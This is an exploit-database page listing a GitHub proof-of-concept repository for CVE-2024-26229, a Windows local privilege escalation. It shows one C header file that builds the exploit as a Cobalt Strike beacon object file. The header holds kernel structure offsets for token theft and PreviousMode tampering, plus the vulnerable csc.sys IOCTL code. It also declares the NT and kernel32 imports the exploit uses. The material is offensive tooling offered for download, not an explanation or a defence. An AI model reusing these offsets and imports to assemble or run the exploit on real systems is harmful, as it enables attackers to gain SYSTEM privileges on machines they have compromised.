Exploit database

GH-9d6d582fdce074c2536209d171ec7ffb

apkc/cve-2024-26229-bof

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-26229

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
apkc/cve-2024-26229-bofRevision e1834512d87b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Cobalt Strike/CVE-2024-26229-bof.h

Text · 2,240 bytes
#ifndef CVE_2024_26229_H
#define CVE_2024_26229_H

#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include "beacon.h"

#define STATUS_SUCCESS 0

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET			0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET	0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE    0x001401a3 // vuln ioctl

#define SystemHandleInformation			0x10
#define SystemHandleInformationSize		0x400000 

DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap();
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE, DWORD, LPVOID, SIZE_T);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId();
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentThreadId();
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread(DWORD, BOOL, DWORD);

DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtWriteVirtualMemory(HANDLE, PVOID, PVOID, ULONG, PULONG);
DECLSPEC_IMPORT VOID NTAPI NTDLL$RtlInitUnicodeString(PUNICODE_STRING, PCWSTR);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtCreateFile(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtFsControlFile(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);

#define HeapAlloc KERNEL32$HeapAlloc
#define GetProcessHeap KERNEL32$GetProcessHeap
#define HeapFree KERNEL32$HeapFree
#define HeapReAlloc KERNEL32$HeapReAlloc
#define GetCurrentProcessId KERNEL32$GetCurrentProcessId
#define GetCurrentThreadId KERNEL32$GetCurrentThreadId
#define OpenProcess KERNEL32$OpenProcess
#define OpenThread KERNEL32$OpenThread

#define NtQuerySystemInformation NTDLL$NtQuerySystemInformation
#define NtWriteVirtualMemory NTDLL$NtWriteVirtualMemory
#define RtlInitUnicodeString NTDLL$RtlInitUnicodeString
#define NtCreateFile NTDLL$NtCreateFile
#define NtFsControlFile NTDLL$NtFsControlFile


#endif // CVE_2024_26229_H